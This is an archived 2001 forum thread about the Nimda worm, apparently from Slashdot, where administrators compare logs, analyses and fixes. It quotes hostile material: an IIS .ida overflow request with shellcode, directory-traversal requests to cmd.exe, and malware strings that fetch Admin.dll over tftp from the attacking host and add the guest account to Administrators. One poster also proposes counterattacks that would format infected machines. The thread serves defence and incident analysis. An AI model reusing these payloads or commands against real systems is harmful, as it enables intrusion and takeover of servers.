admin.dll, 26,744 bytes, MS Web Server Extensions 5.0

That's what it is...

[rayoumand]

Ya I've got a lots of shit like that this morning, when I was looking at my server log... I thought that it's just one of my friends, trying to do something interesting to my server Hmmm... Time to block the IP address I guess. h24-76-99-50.vc.shawcable.net localhost - [18/Sep/2001:09:59:34 -0700] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858% ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%uc bd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531 b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 1698 "" "" Error reading "e:\default.ida" - The system cannot find the file specified. h24-76-52-158.vf.shawcable.net localhost - [18/Sep/2001:09:58:25 -0700] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1698 "" "" Error reading "e:\scripts\..%2f..\winnt\system32\cmd.exe" - The system cannot find the path specified. h24-76-52-158.vf.shawcable.net localhost - [18/Sep/2001:09:58:24 -0700] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+d ir HTTP/1.0" 404 1698 "" "" Error reading "e:\scripts\..%5c..\winnt\system32\cmd.exe" - The system cannot find the path specified. h24-76-52-158.vf.shawcable.net localhost - [18/Sep/2001:09:58:24 -0700] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1698 "" "" Error reading "e:\scripts\..S5c..\winnt\system32\cmd.exe" - The system cannot find the path specified. h24-76-52-158.vf.shawcable.net localhost - [18/Sep/2001:09:58:24 -0700] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1698 "" "" Error reading "e:\scripts\..S5c..\winnt\system32\cmd.exe" - The system cannot find the path specified. h24-76-52-158.vf.shawcable.net localhost - [18/Sep/2001:09:58:24 -0700] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1698 "" "" Error reading "e:\scripts\..Áoe..\winnt\system32\cmd.exe" - The system cannot find the path specified. h24-76-52-158.vf.shawcable.net localhost - [18/Sep/2001:09:58:24 -0700] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1698 "" "" Error reading "e:\scripts\..À..\winnt\system32\cmd.exe" - The system cannot find the path specified. h24-76-52-158.vf.shawcable.net localhost - [18/Sep/2001:09:58:24 -0700] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1698 "" "" Error reading "e:\scripts\winnt\system32\cmd.exe" - The system cannot find the path specified. h24-76-52-158.vf.shawcable.net localhost - [18/Sep/2001:09:58:24 -0700] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 1698 "" "" Error reading "e:\scripts\..Á..\winnt\system32\cmd.exe" - The system cannot find the path specified.

Some details and IDS suggestion

[bill_mcgonigle]

From: Chris Grout
Date: Tue Sep 18, 2001 11:52:37 AM America/Montreal
Subject: Re: Worm probes

Appears that if it gets a 404 back from its intial unicode scans, it just keeps looking elsewhere. If the server responds with anything other than a 404 (such as a 403 IP Rejected, in this case...) It attempts to get the server to tftp a file named "admin.dll" from the scanning system.

I pulled the admin.dll from an infected box and to my non-programming eyes, it appears to do at least the following (in no order):

1. Adds the guest account to the local Administrators group and then activates the account
2. Use the anonymous
3. Makes sure c$ is shared
4. Tries to mail a bunch of files. HELO it uses is aabbcc.
5. Looks like admin.dll ends up in "c", "d" and "e".
6. creates a file named readme.exe which is actually a wav file (weird?)

I could be totally wrong here (and probably am) but oh well...

Chris

Notifying those in need of clue?

[torgosan]

Ok, many of the hits I've seen have been from IIS servers that, given the following, are likely not even known to exist by those who _should_ know about them:

http://208.144.175.78/

Under Construction
The site you were trying to reach does not currently have a default page. It may be in the process of being upgraded.

So how do these folks running these nimda-ravaged servers get clued in when they may not know they have a server running in the first place???

More info on the .EML bug

[Corrado]

Georgi Guninski Security Research has some detailed info on the problems with IE executing .eml files. Go here for a small demo.

Windows NT

[jawtheshark]

Just ran it under NT4....explorer (not internet explorer) crashed with a Dr. Watson. The window at 6000,6000 however stayed open. No clue if I'm infected now. (Internet Explorer 5.5 here)

Worms

[Anonymous Coward]

Can't someone create a worm that patches all these 'open' IIS machines??

MS Has something....

[Putz19]

I saw this today on MS site, wonder if it might help against this bug/worm MS Download Site

I'm a geek and an artist.

[stego]

and I use Mac OS X

Disable Javascript

[Krelnik]

>> DO NOT TRY TO GO TO AN INFECTED IP ADDRESS

I posted earlier in the thread: If you have Javascript disabled in your browser, the EML execution will not happen. It does it via a window.open command.

But everyone here has Javascript disabled for unknown web sites, right?

Directions for protecting against the Worm

[cvanaver]

You can prevent your computer from being infected by disabling the security loophole that allows you to inadvertently execute the worm with Outlook or IE5.

In IE5, go into Tools->InternetOptions->Security->CustomL evel and change the Scripting->Active Scripting to DISABLE. Make sure you do this for each of the 4 Levels (Internet, Intranet, Trusted, Untrusted) to be safe until this thing is under control.

Outlook will inherit your IE settings, but if you want to check and make sure, goto Tools->Options->Security->Zone Settings and check for yourself.

Supposedly this will prevent your IE from executing the website-placed viruses and prevent Outlook from loading the virus when you open the message.

Hits

[Swaffs]

Most of my hits have come from the same class B addresses, but I've got one from a different class A. bankokpost.net

Anyway, I've already sent off one email telling a guy to fix his box.

spreads via network nieghbourhood

[throwaway18]

Warning! do not look atinfected machines in internet explorer 5 like I just did! D'Oh! Withing seconds it began putting thousands of .eml files on the computers listed in network neighbour hood. The dirves on the other computers were not mapped to drive letters on the infected machines. The names of the names of the eml files seem to be taken from email on the infected machine so they appear relervant! All its going to take is one major website to be infected with this and hundreds of thousands of clueless home users will be infected!

Re:spreads via network nieghbourhood

[Anonymous Coward]

I use IE4 and had no problems like that. Maybe now people will stop looking at me funny when I say I like IE4 better than IE5.

Manual removal instructions

[WildBeast]

Here's how to remove the W32/Minda@MM worm

Delete the registry key:
HKEY_CURRENT_USER\Software\Microsoft\Windows\Cur re ntVersion\Run\macrosoft

Restart the computer

Delete README.EXE from the WINDOWS directory as well as from the root directory of all local drives.

MMC.exe

[Anonymous Coward]

mmc.exe may become infected as well.

i have just monitored the web server log

[john_uy]

it seems that we have been attacked by this worm too. for us, the worm first hit us around 9:15pm (+8GMT). it seems to originate from Korea (KRNIC) since our IP prefix is 210.

As a fix, remove the /scripts directory in IIS or temporary deactivate it. it seems to be targeting a bug somewhere in frontpage extensions or something similar.

The 16 lines of codes are:
80 GET /scripts/root.exe /c+dir 404 -
80 GET /MSADC/root.exe /c+dir 403 -
80 GET /c/winnt/system32/cmd.exe /c+dir 404 -
80 GET /d/winnt/system32/cmd.exe /c+dir 404 -
80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 -
80 GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/c md.exe /c+dir 500 -
80 GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/c md.exe /c+dir 404 -
80 GET /msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../ winnt/system32/cmd.exe /c+dir 403 -
80 GET /scripts/..Á../winnt/system32/cmd.exe /c+dir 404 -
80 GET /scripts/winnt/system32/cmd.exe /c+dir 404 -
80 GET /winnt/system32/cmd.exe /c+dir 404 -
80 GET /winnt/system32/cmd.exe /c+dir 404 -
80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 -
80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 -
80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 -
80 GET /scripts/..%2f../winnt/system32/cmd.exe /c+dir 404 -

it might be conincidental but this is the one week anniversary of the attacks. there may be a connection.

by the way, the root.exe is cmd.exe. the admin.dll i think comes from frontpage. haven't verified this.

johnlaw

Other Attachment

[solari]

This worm also creates an .NWS file along with the other bit and pieces.

A satanic worm?

[baalzebuth]

Nimda = Admin backward...

Run-down of virus capabilities

[gimbo]

I hope Mo won't mind me forwarding this...

----- Forwarded message from Mo McKinlay -----

From: Mo McKinlay
Subject: Re: [uknot] Today's Virus
To: uknot@uk.com
Date: Tue, 18 Sep 2001 17:18:46 +0100
X-Virtual-Domain: redirected for markl@ftech.net
X-Virtual-Domain: redirected for hamster@vom.tm

On Tue, Sep 18, 2001 at 04:36:11PM +0100, Joel Rowbottom wrote:

> This seems to be the culprit:
>
> Concept Virus(CV) V.5, Copyright(C)2001 R.P.China

It is.

It's also known as "w32.nimda.mm". From what I can tell, it's delivered
by:

a) visiting an infected site while using vulnerable browser+e-mail
client
b) recieving e-mail from infected host
c) IIS directory traversal exploit (a la codeblue, which I'm informed
was never seen in the wild)
d) open SMB/CIFS shares

It then goes on to:

* perform *numerous* registry hacks - it seems to alter the nameserver
setting of the TCP interface.

* append a small piece of malicious javascript to your default webpage
so that attack vector (a) happens.

* alter the security on your default shares

* alter the performance logging configuration

* attempt to propagate itself to addresses in your /24, then /16.

* attempt to propagate itself via e-mail

* attempt to propagate itself to open SMB/CIFS shares

* I've had reports that uses tftp to grab something.. can't ascertain
what/from where, though. this could be confusion.

* it references winzip32.exe for some purpose (could support the
previous report)

* alters your startup parameters to ensure it's re-run at boot time.

That's what I can gather from the various reports, and from scanning the
readme.exe.

Mo.

--
Mo McKinlay mmckinlay@gnu.org http://ekto.org
"but every time you call a function a object orientated fairy dies"
-- Richard Palmer, spod.
GnuPG/PGP Key: pub 1024D/76A275F9 2000-07-22

----- End forwarded message -----

Re:Time for a class action lawsuit against Microso

[weez75]

Not only has this a result of negligence but also a result of false claims that their products are just as secure as Unix, just a robust as Unix, and just as fast as Unix. They've mislead consumers regarding by funding biased comparisons, flawed white papers, and paid-customer endorsements. I believe this is nothing short of fraud.

Alas, corporate IS still wants Windows

[SysKoll]

One would hope that the numerous bugs and securities loopholes in Windows, and their exploits by Windows worms, would be a wake up call for Corporate IS managers all over the world. Time to sanitize and secure the computing environment, right?

Hah.

Actually, in spite of the huge annoyance caused by these worms, the IS in my Big Company did not bulge. Windows 2000 it is, Linux is for techies, no plan change. A timid note has been sent around saying that IIS servers should be checked against infection... of Code Red. How timely.

I guess the disaster recovery plan of these people still involves some backup server located in the WTC.

For the sake of future air travellers, I hope that we take airport security more seriously than computer security.

Who needs Ben Laden when you have Bill Gates to sabotage the Western world? :-)

-- SysKoll

Re:Alas, corporate IS still wants Windows

[WildBeast]

haven't you learned yet that security is just an illusion? Blaming MS is like blaming the WTC for not being secure enough. How come the plane didn't bounce on it or something? How come a plane destroyed a building? How come fire killed civilians? etc., etc., etc.
If you were president you would have blamed the WTC instead of blaming the terrorists. They would call you the terrorist-friendly president.

Re:Alas, corporate IS still wants Windows

[Anonymous Coward]

no, this is equivilent to blaming airlines for having poor security. of course *absolute* security is an illusion, and blame isnt going to solve anything, but trying to make that comparison is kinda weak.

Re:Alas, corporate IS still wants Windows

[Yosho]

It would be a more appropriate analogy if one of the WTC towers was build of balsa wood on top of sand. Then I think it would be safe to say that the architect was just plain stupid.

Re:Alas, corporate IS still wants Windows

[SysKoll]

My point exactly. Of course, total security is a fallacy, but using a system or a method that is demonstrably risky is plain dumb.

So yes, corporate IS departments keep installing Windows all over the place even in places where they could avoid it because "that's what the market is".

Imagine this discussion:

Landlord: "Hey, you built my home on quicksands!"

Architect: "Quicksands are the market standard. No one uses hard ground these days. Too hard to break."

Landlord: "But it's unsafe! People get the Blue Gas-Bubble of Death every day in these quicksands! Alligators come and snatch you from behind!"

Architect: "Come on, just stand on the moss patches and you'll be fine".

Of course, at the end the landlord shoots the architect, to the acclaim of the whole profession.

So why do we endure these IS "architects"?

-- SysKoll

Re:Alas, corporate IS still wants Windows

[Anonymous Coward]

It may not be the WTC's fault that it got destroyed. And it may not be Microsoft's fault that IIS got attacked.

But that doesn't mean it's a good idea to locate your office in a high-rise building. Nor is it a good idea to host your website on IIS.

It's not about blame, it's about having the sense to avoid things which are likely to be security risks.

Re:Alas, corporate IS still wants Windows

[KeizerHein]

Actually, imagine this discussion:

landlord:"I want you to build my house on quicksand"

architect:"But it's unsafe! People get the Blue Gas-Bubble of Death every day in these quicksands! Alligators come and snatch you from behind! I suggest you build on rock"

landlord:"Quicksand is supported by a large company. Rock isn't, I want quicksand"

that's why we endure these IS architects.

Has anyone else noticed that the name...

[bergeron76]

Nimda is the word: Admin backwards? Just an observation.

Re:Has anyone else noticed that the name...

[Anonymous Coward]

your can't hear me but I am clapping right now

Striking back?

[askwar]

I've also got quite a lot of hits on my home machine because of this Windows junk.
You know, I'm starting to get fed up - Anyone know about a tool/technique which will fire back to these idiots? I mean, I'd love to have a tool which would connect to the attacker and shut down his toy, or, even better, format his harddisk or something.

Anyone got an idea?

Re:Striking back?

[RedWolves2]

Yeah that is a brilliant idea. These attackers don't know they are attacking you or even know that they are infected. How would you like it if all of a sudden your hard drive started reformatting.

What needs to happen is that Microsoft needs to thoroughly test its products in the mind of a hacker instead of pushing to get a product out by a meaningless date.

We need to hold software companies responsible for security holes they release with their products. XP will a great product to nail M$ with, with those raw sockets they decided not to protect.

Re:Striking back?

[askwar]

Okay, the part about reformatting the HD probably is way to extreme. Granted.

But shutting down this loosers machine surely stops or at least slows it from spreading. If all the sites - especially big sites like /. - would counter attack the attacker, it would really have an effect.

Resolution?

[tsmit]

Any ideas on how to get rid of the files that are infected?

Re: Cyberwar

[Anonymous Coward]

The media are always saying how filthy rich Bin Laden is. Seems to me that tracking down where the money is located would be a much better target (both for governments and independent hackers) than random islamic sites or Afghanistan itself.

internettraficreport.com

[Salsaman]

I just checked www.internnettraficreport.com. All their indices are down at zero. Very odd.

Re:internettraficreport.com

[linzeal]

http://www.internettrafficreport.com/ missed a f there buddy ;)

Re:internettraficreport.com

[ectoraige]

From their FAQ:
Q: Why does ITR sometimes show all zeros or strange numbers?

A: We are currently working on a complete re-write and overhaul of the ITR system to provide much more detailed and accurate information more quickly and reliably. During this transition phase, there may be rare occurrences when the data reported by ITR looks "strange" for an hour or so. Please bear with us during this transition, as we are certain that the new ITR (to be released sometime near the end of September) will be well worth the wait!

Re:This could explain why I can't reach my machine

[bobwoodard]

Perhaps a scriptkiddie who hit "Select All" on the "Infection Method" check box?

Internet Explorer 5.0, 5.5, 6.0?

[macpeep]

Does anyone have more information about the IE5 part of this? How does it spread? What exactly spreads? How do you find out if you are infected and does this also work for IE5.5 and IE6 or is it only IE5.0x?

Re:Internet Explorer 5.0, 5.5, 6.0?

[ToLu the Happy Furby]

Does anyone have more information about the IE5 part of this? How does it spread? What exactly spreads? How do you find out if you are infected and does this also work for IE5.5 and IE6 or is it only IE5.0x?

It spreads according to a hole in IE 5 which automatically opens and executes .eml files. More information here.

I tried the demonstration exploit on the above page using IE6, and it gave me a dialog box confirming that I wanted to open the file. (Except it was already a .tmp file in my temp directory at that point, not a .eml file.) So presumably IE6 at least asks your permission first. Also, when I decided to "open" the file it opened the file in Word, instead of running it. (apparently)

So IE6 appears to be safe, at least from the demo exploit coded by Guninski. Dunno about IE 5.5.

National Infrastructure Protection Center warning

[Cy Guy]

I checked one of the IPs and it said 'F*ck USA Government,

Aparently that was enough to get the attention of the FBI during the heightened attentions to security. I really pity whoever launched this thing if they aren't affiliated with Bin Laden et al, since any threat to the US government will now be considered an act of wart and will be dealt with accordingly.

The linked article notes that NIPC was anticipating an attack from a group called 'Dispatchers' to hit sometime today.

Wow! Our Apache on RH Linux log:

[Anonymous Coward]

Holy cow..

Here at our small hosting company we've noticed a significant increase of traffic this morning. Here's a clip from ONE server's error_log for TODAY ONLY (@ 12:25pm Central):

[root]:# grep "system32" error_log | grep "Sep 18" |wc -l
51624

We've been clocking it, and it appears we're getting about 2 such requests per second. I can't imagine how painful this has got to be for IIS administrators..

CNN has the story

[Anonymous Coward]

http://www.cnn.com/2001/TECH/internet/09/18/intern et.attack.ap/index.html

Re:Time for a class action lawsuit against Microso

[fmaxwell]

You really are an illiterate half-wit, aren't you? No wonder you post as Anonymous Coward. Are you a actually a stupid adult or just some short-bus kid from special ed?

"cyberwar" against Afghanistan

[jxqvg]

Much of what people are talking about lately involves seizing funds from international bank accounts, rather than making it so no one can read the Taliban FAQ on their official site.

Virus Spreading

[Jas26785]

This virus isn't affecting just IIS servers.. it's being spread by all Windows computers.

We don't have any IIS servers on our internal network and I'm seeing .EML files with the audio/x-wave and "readme.exe" being written to ALL of our node's writable network shares. I know of at least one computer that's performing the writing, but I don't see an ADMIN.DLL and there are no viruses detected by the most recent version of Norton. This is a computer running Windows 98 without IIS software.

Examining the .EML files written to each writable share shows that strings are being grabbed from the source computer's registry and used to name the .EML files to make them appear genuine. However, performing a virus scan on the .EML file shows no viruses present.

What's going on here?!

Fight back!

[Anonymous Coward]

I wrote a script that will monitor your apache logfile and email administrators notification of their infected machine. It's not as productive as Code Green, but it's not as invasive either.

.EML Header

[Jas26785]

I forgot this header from the .EML files:

MIME-Version: 1.0
Content-Type: multipart/related;
type="multipart/alternative";
boundary="====_ABC1234567890DEF_===="
X-Priority: 3
X-MSMail-Priority: Normal
X-Unsent: 1

--====_ABC1234567890DEF_====
Content-Type: multipart/alternative;
boundary="====_ABC0987654321DEF_===="

--====_ABC0987654321DEF_====
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

--====_ABC0987654321DEF_====--

--====_ABC1234567890DEF_====
Content-Type: audio/x-wav;
name="readme.exe"
Content-Transfer-Encoding: base64
Content-ID:

More symptoms

[msheppard]

On a system I have that got infected it places an EML file in the startup folder, so when you startup it launches Outlook Express and starts all over again.

Some of the strings in readme.exe

[ptomblin]

I mimedecoded the readme.eml that one of the infected web pages was trying to send me, and found the following strings in the executable:

Concept Virus(CV) V.5, Copyright(C)2001 R.P.China

What's that? A script kiddie virus kit?

SYSTEM\CurrentControlSet\Services\lanmanserver\S ha res\Security
share c$=c:\
user guest ""
localgroup Administrators guest /add
localgroup Guests guest /add
user guest /active
open
user guest /add

I wouldn't know a Windows script if it came up and hit me in the face, but I'll bet dollars to donuts that that's opening up a file share on your entire C drive.

/scripts
/MSADC
/scripts/..%255c..
/_vti_bin/..%255c../..%255c../..%255c..
/_mem_bin/..%255c../..%255c../..%255c..
/msadc/..%255c../..%255c../..%255c/..%c1%1c../.. %c 1%1c../..%c1%1c..
/scripts/..%c1%1c..
/scripts/..%c0%2f..
/scripts/..%c0%af..
/scripts/..%c1%9c..
/scripts/..%%35%63..
/scripts/..%%35c..
/scripts/..%25%35%63..
/scripts/..%252f..
/root.exe?/c+
/winnt/system32/cmd.exe?/c+
net%%20use%%20\\%s\ipc$%%20""%%20/user:"guest"
tftp%%20-i%%20%s%%20GET%%20Admin.dll%%20

This looks like the list of exploits it tries, and the second last one looks like it's trying to exploit shares.

QUIT
Subject:
From: <
DATA
RCPT TO: <
MAIL FROM: <
HELO

Looks like an SMTP connection script, so I guess it does spread by email as well.

Re:Some of the strings in readme.exe

[Gummbah]

user guest ""
localgroup Administrators guest /add

This seems to set the guest user password to "", and then add the guest user to the Administrators group. Can anyone confirm?

ad

Be Careful What You Wish For!

[geomcbay]

Be careful what you wish for...

While e-mail attachments are a particular worry for the Microsoft platform, worms can exist for any platform with security holes -- which is essentially all of them. There have been UNIX worms in the past and there will be UNIX worms in the future.

The major drawback to UNIX worms in the past wasn't that UNIX was super-secure, as some Slashdotters would have you believe, its that 'UNIX' just represented so many different platforms on different processors that a single do-it-all worm would be very difficult to write. This is starting to change as Linux/x86 is adopted more and more...

Anyway, my point is, if people start suing Microsoft over this, Linux distro companies and even potentially individual Linux programmers could also be at risk. If Microsoft's EULA doesn't protect it, why would the no warranty clause of the GPL protect GPL programmers? In essence the licenses are the same in that regard.

Such a lawsuit would be annoying to Microsoft... to Linux companies and individial GPL programmers it would be devestating.

Re:Be Careful What You Wish For!

[Anonymous Coward]

Yeah, I find it rather astounding that the kids here aren't aware of UNIX's horrific attitude towards security over the years. The Unix community is only about 3 years ahead of Microsoft on the issue.

Of course, MS is actually going backwards in some respects by defusing the multi-user aspects of NT in the XP release. But in general, they are doing the same things now the Unix guys did a few years ago -- stopping the crappy coding, and start auditing this stuff. Of course that doesn't help anyone until their next generation of products get out the door.

Re:Be Careful What You Wish For!

[denshi]

past Unix holes, particularly the Great Worm, relied on buffer overflows that were much more prevalent back then, before everyone started using bounded I/O. Perils of writing everything in C. And an interesting thing about The Great Worm was that it only ran on one architecture -- Sun3 on the VAX, if I remember correctly. Of course, modern rootkits compile source on the machine, so one could expect a new Great Worm to do the same, and be cross-platform. OTOH, back in the day of the Great Worm, many more processes ran in priviledged accounts than now (most run as 'nobody'), so there are hopefully less blatant openings. OTTH, who am I kidding? Modern security sucks. Bring on the lawsuits.

Re:Be Careful What You Wish For!

[brad3378]

ha ha ha!
Looks like we need somebody to write a virus in Java so they cover all the available platforms.

;-)

Re:Be Careful What You Wish For!

[fmaxwell]

Anyway, my point is, if people start suing Microsoft over this, Linux distro companies and even potentially individual Linux programmers could also be at risk.

While I am aware that there are, and always have been, exploits for the various Unix systems out there, any damages awarded in a lawsuit would be related to the harm done by the exploit. So what if a worm got into ten end-user FreeBSD 4.3 systems used on Earthlink? The collateral damage would be minimal as they could not generate enough traffic to take Earthlink to its knees.

That is not the case when there is a bug in 2000 and NT. Microsoft is well aware of the potential for damage if there are tens of thousands of systems ready for an exploit -- especially when defective components like IIS are installed by default regardless of whether the user needs them or not.

I have been a professional software developer since 1980. I am sick and tired of the attitude that software, unlike every other product produced by man, should be exempt from lawsuits, scrutiny, etc. That attitude is precisely why Microsoft is spending time writing bad video editors and copy protection schemes rather than making their OS solid and bug-free.

Re:Be Careful What You Wish For!

[Anonymous Coward]

>to Linux companies and individial GPL programmers it would be devestating.

If the sentences are anything like the DirecTV satellite hacking companies in Canada get, everyone will have a good laugh.

Lessee, you earned $0.00 for this software. Hmm, and lets see, there's a big warranty file that tells people who download it (not even necessarialy from you) its free so screw off.

Oh no! You lost! You will have to pay the company 1000x your profit! Argh! That's $0.00! Damn!

[This is pretty much how the trials in Canada go when Bell Expressvu gets the RCMP to do illegal raids on Canadian DirecTV hackers]

Re:Be Careful What You Wish For!

[Tom7]

Well, Microsoft actually is working on language technologies which should make their stuff more secure. Expect to see that in a few generations, their stuff, written in C# or SML.NET or whatever, is totally buffer-overflow free.

It's very disappointing to me that the Linux crowd has settled on C, which, as far as I can tell, is the worst language for writing secure apps. (I suppose something with similar properties but less mature compilers might be worse, actually.) I think Linux and friends are going to be left behind as far as stability and security as programs get too big to be verified via the eyeball method.

Re:Be Careful What You Wish For!

[pointym5]

Sun3 on the VAX, if I remember correctly.

No, you don't, as that statement is an oxymoron. Sun operating systems never ran on VAXes, as Digital and Sun were in direct fierce competition. It was probably SunOs 3 (on Suns :-) or 4.2 BSD.

Re:Be Careful What You Wish For!

[Ian Bicking]

Well, sh is more insecure than C, IMHO. Or, rather, it's a different class of insecurities relating to quoting and multiple passes of the parser.

More languages should make it easier to execute external programs without invoking sh. This affects quite a lot of CGI scripts. OTOH, none of these CGI scripts are ever likely to gain a significant portion of the market ('cause there's just so damn many of them), so attacks would be much more limited.

Re:Be Careful What You Wish For!

[rice_burners_suck]

In other words, "The tomorrow of Windows is the yesterday of UNIX." I don't remember whose sig that was, but I used it for a time because it is so true.

Re:Be Careful What You Wish For!

[Malcontent]

I am looking forward to the day when I see an MS operating system written in C# or SML.NET (whatever that is). I bet MS office written in C# will be screamer.

Re:Be Careful What You Wish For!

[Anonymous Coward]

You're almost right. replace your "or" with "and."

The Morris worm attacked 4.2BSD on VAX and SunOS3. It carried two versions of itself.

Back then, attacking those two OSes was about like attacking Win2k, Linux and Solaris would be today in terms of hosts affected.

Re:Be Careful What You Wish For!

[rice_burners_suck]

I have been a professional software developer since 1980. I am sick and tired of the attitude that software, unlike every other product produced by man, should be exempt from lawsuits, scrutiny, etc. That attitude is precisely why Microsoft is spending time writing bad video editors and copy protection schemes rather than making their OS solid and bug-free.

That is probably the most well-said comment I've read here in a long time. Microsoft has created most of the problems I know of that are related to computers and software, starting with licensing, which is probably the root of horrible things like the DMCA (which should be abolished, by the way). They created an industry where I would guess that most software is slopped together hastily ("fast time to market," in suit-speak), rather than crafted by careful professionals.

Why are there so many "MCSE-in-2-weeks" ads in those lame freebie computer magazines? You don't honestly believe that 2 weeks of instruction make you a professional, do you? Here's something that will *really* crack you up: I heard a commercial on the radio for one of those lame MCSE courses. They said you'll earn 83,000 bucks in your first year on the job! I'd like to know exactly who-in-the-phuc will pay that kind of money, especially now when the economy's down the sh*tter. I haven't actually taken one of these courses myself, so if anyone has, please correct me if I'm wrong on this--I believe that these MCSE courses are just like SAT-prep classes: the answers to test questions are drilled into your head so you can pass the test. That's all. I don't honestly believe that anything (besides maybe some bedrock basics) is taught in those courses.

So back to my discussion of Microsoft... I believe they have and are committing fraud. They advertise high quality, high availability and security, when their software is probably the least secure on the planet.

Am I saying that UNIX doesn't have its problems? No. There are quite a few problems in UNIX and UNIX-like systems. The difference is that the entire software design, from the ground up, is inherently secure. The exploits are in subtle bugs, not in major software design issues. In the various Windows patchworks, the security problems stem from very deep software design issues. Oh yeah, and on top of that, they have the usual bugs. In other words, it's a buggy implementation of a crappy design built on a shaky foundation. And businesses trust their important data to this garbage, which results in billions lost every time some email attachment gets forwarded around. So after all that, what the hell is this about lower total cost of ownership?

I know I'm just ranting in this post... I'm really tired. Oh well.

Re:Be Careful What You Wish For!

[Tom7]

Well, it's clear you don't know what you're talking about, but I might as well point out that there's no reason such high-level safe languages need to be inefficient. In fact, a number of SML implementations are just as fast as C (and much faster than Java and friends). And yet, programs written in SML are 100% buffer-overflow free (other nice features of the language aside!)

Even with slower implementations, the speed of a package like Office is pretty immaterial given the speed at which hardware improves; we were running that on P-133s with 32mb just fine.

MSR has a project called "Vault" which is used to machine certify device drivers (written in a low-level language) for certain safety properties. This is the kind of thing I'm talking about; the linux folks seem to think that "lots" of eyeballs will do the trick... (if indeed we believe that "lots" of people work to improve Linux).

Re:Be Careful What You Wish For!

[Malcontent]

Wow nice series of non sequiters. Were you half asleep when you wrote them or were you just high?

No wonder MS software is so shitty when their (supposedly) best and brightest can't make a point to save his life.

Just what exactly is your point? Here is what I get.

1) The less people who look at the code the better the code is.

2) Higher level languages are better then lower level languages.

3) All microsoft products are (will be ) written in higher level languages including the operating system itself and that's why they are (will be) better. BTW is there some microsoft school of speaking in future tense? It seems like every MS employee always talks about how something will be so great when it finally comes out and of course when the thing pops out of the oven half baked they start talking about the next big thing.

4) All linux software is written in lower level languages which is why they suck.

5) Device drivers are written in lower languages. In a thing called the vault (what the fuck does this have anything to do with anything?).

6) Efficiency does not matter because the hardware is getting faster.

Did I get all that right?

Re:Be Careful What You Wish For!

[Tom7]

Well, I guess you're mad, but I'll at least explain myself again if I wasn't clear.

#1, of course not.

#2, probably yes.

#3, I don't know about this -- but I do know that they have hired a lot of smart language designers, because they recognize that current software development practices don't scale. (Do you think they don't know their software is buggy and insecure?) The linux community is doing no such thing, as far as I know; in fact, they are really adamant about using C and Perl.

#4, Well, almost all software is written in C or C++ ("low level languages"), and almost all software sucks.

#5, The project is called "Vault" if you want to look it up.

#6, Efficiency matters, but not the kind of efficiency that C provides. Efficiency in general definitely matters *less* since hardwarwe is getting faster.

By the way, I have nothing to do with Microsoft. I want to see Free software succeed. I'm just worried that the C-programming and lots-of-eyeballs method won't scale. I don't expect you to believe me, but I hope some people learn the same lessons I have and then have the patience to convince people like you. =)

Re:Be Careful What You Wish For!

[Malcontent]

Count the number of new languages coming out every year that are open source and then count the number of new languages coming out of MS every year. Tell me which one is greater. C# is nothing but an answer to java and hardly represents some sort of a breakthrough. Just another virtual machine that's probably slower then rebol and runs only on one platform.

I honestly don't know where you get that there is no programing language research in the open source world or that every single open source project is written in C. I especially don't see your point regarding MS. What major (or minor) software from MS is written in a higher level language? I honestly can't think of one.

Re:Be Careful What You Wish For!

[Tom7]

All languages that I see in the "open source" community are clones of C designed for scripting. These make life easier for developers (sort of), but don't lead to more robust software.

I am not saying that Microsoft makes good software now or necessarily will soon, but I do know that they've got the plans and people.

Almost all of what most people consider "Linux" or "GNU/Linux" is written in C. And it's pretty bad C code, too; I've seen it...

Re:Corporate ought to be securing the box better..

[Zathrus]

Yes, this happened to Unix. Thirteen (13) years ago.

Sorry, but coding with buffer overrun exploits possible is not merely a mark of shoddy work, it's outright negligent. I was taught not to do this kind of thing in a high school Pascal class. Where do you dredge up programmers that don't realize this kind of thing needs to be protected against?

And yes, always programming in a paranoid "what can go wrong here" mindset can be dragging. It adds tons of lines of code that may never be executed since it's all "just in case" stuff.

Know what? It all pays off the first time one of those "it'll never happen" situations happens and instead of your code blowing up, or creating a security hole, or trashing the data it throws up an error and halts. It doesn't even have to halt nicely (bonus points for that), but halting is a helluva lot better than the alternatives. Do you have any idea how long it takes to debug one of these issues if you don't have proper error handling in?

So no, Unix isn't invulnerable, and yes, those stating otherwise are being somewhat hypocritical. But Microsoft has outright deceived the consumer and practiced gross professional negligence. The patch doesn't make it better. There should never have been a need for this particular patch in the first place.

And I'm not even going to get into the stupidities behind automagically executing files from untrusted sources.

New *.eml files on Samba Shares

[nknouf]

I just found two new *.eml files left on my publicly writable, scratch space Samba shares on my FreeBSD box: demotivational.eml, and pumpkin.eml. You can find them gzipped at my website at:

demotivational.eml.gz
pumpkin.eml.gz

Has anyone else seen these files showing up on their samba shares?

Nick Knouf

FreeBSD

